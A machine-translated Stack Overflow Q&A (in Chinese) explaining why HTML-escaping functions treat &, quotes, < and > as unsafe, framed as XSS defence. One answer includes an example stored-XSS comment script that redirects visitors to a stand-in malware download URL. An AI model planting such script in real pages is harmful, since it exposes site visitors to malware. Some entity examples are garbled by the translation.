为什么这5(6?)个字符被视为“不安全”的HTML字符?

时间:2017-03-10 22:14:44

标签: html escaping code-injection javascript-injection html-injections

在PHP中,有一个名为htmlspecialchars()的函数对字符串执行以下替换:

  • &(&符号)已转换为&
  • "(双引号)转换为"
  • '(单引号)转换为'(仅当设置了ENT_QUOTES标志时)
  • <(小于)转换为&lt;
  • >(大于)转换为&gt;

显然,这是因为这5个特定字符是不安全的HTML字符

我能理解为什么最后两个被认为是不安全的:如果它们只是“回应”,则可以传递任意/危险的HTML,包括<script>的潜在javascript以及所有这些。

问题1.为什么前三个字符(&符号,双引号,单引号)也被认为是“不安全”?

另外,我偶然发现this library called "he" on GitHub (by Mathias Bynens),这是关于HTML实体的编码/解码。在那里,我发现了以下内容:

  

[...]在HTML内容中使用不安全的字符(&amp;,&lt;,&gt;,“,”和“)将被编码。[...]

source

问题2.是否有充分的理由考虑反击另一个不安全的HTML字符?如果是,这是否意味着上面提到的PHP函数已经过时了?

最后,所有这些都引出了一个问题:

问题3.除了上面提到的那些5/6字符外,是否还有其他字符应被视为“不安全”?

2 个答案:

答案 0 :(得分:4)

Donovan_D的答案几乎解释了它,但我会在这里提供一些例子,说明具体这些特定字符会如何导致问题。

这些字符被认为是不安全的,因为它们是执行XSS(跨站点脚本)攻击的最明显方式(或通过无意识输入意外中断页面)。

考虑网站上的评论功能。您提交带有textarea的表单。它将保存到数据库中,然后显示在所有访问者的页面上。

现在我总结一下这样的评论。

<script type="text/javascript">
    window.top.location.href="http://www.someverybadsite.website/downloadVirus.exe";
</script>

突然之间,访问您网页的每个人都被重定向到病毒下载。这里天真的方法就是说,好吧,让我们过滤掉那次袭击中的一些重要角色:

<>将替换为&lt;&gt;,现在突然我们的脚本不是脚本。这只是一些看起来像HTML的文字。

类似的情况通过像

这样的评论来表达
Something is <<wrong>> here.

假设用户出于某种原因使用<<...>>来强调。他们的评论将呈现

  

东西是&lt;&gt;这里。

显然不是理想的行为。

&出现了一种恶意较少的情况。 &用于表示HTML实体,例如&amp;&quot;以及&lt;等等。因此,看起来无辜的文本很容易成为一个html实体并最终看起来非常不同,对于用户来说非常奇怪。

考虑评论

I really like #455 &#243; please let me know when they're available for purchase.

这将呈现为

  

我真的很喜欢#455ó如果可以购买,请告诉我。

显然不是预期的行为。

关键是,这些符号被认为是大多数时候阻止大多数XSS漏洞/错误的关键,因为它们很可能用于有效输入,但需要转义才能在HTML中正确呈现。

关于你的第二个问题,我个人并不知道任何方式应该将反引号视为不安全的HTML角色。

至于你的第三个,也许吧。不要依赖黑名单来过滤用户输入。相反,使用已知OK输入的白名单并从那里开始工作。

答案 1 :(得分:0)

这些字符不安全,因为在html中<>定义了一个标记。
""''用于包围属性。由于在html实体中的使用,&被编码。
没有其他字符应该编码,但它们可以是ex:
交易符号可以被制成{{1可以将美元符号设为&trade;欧元可以&dollar;任何表情符号都可以由HTML实体(编码事物的名称)组成你可以找到解释/例子here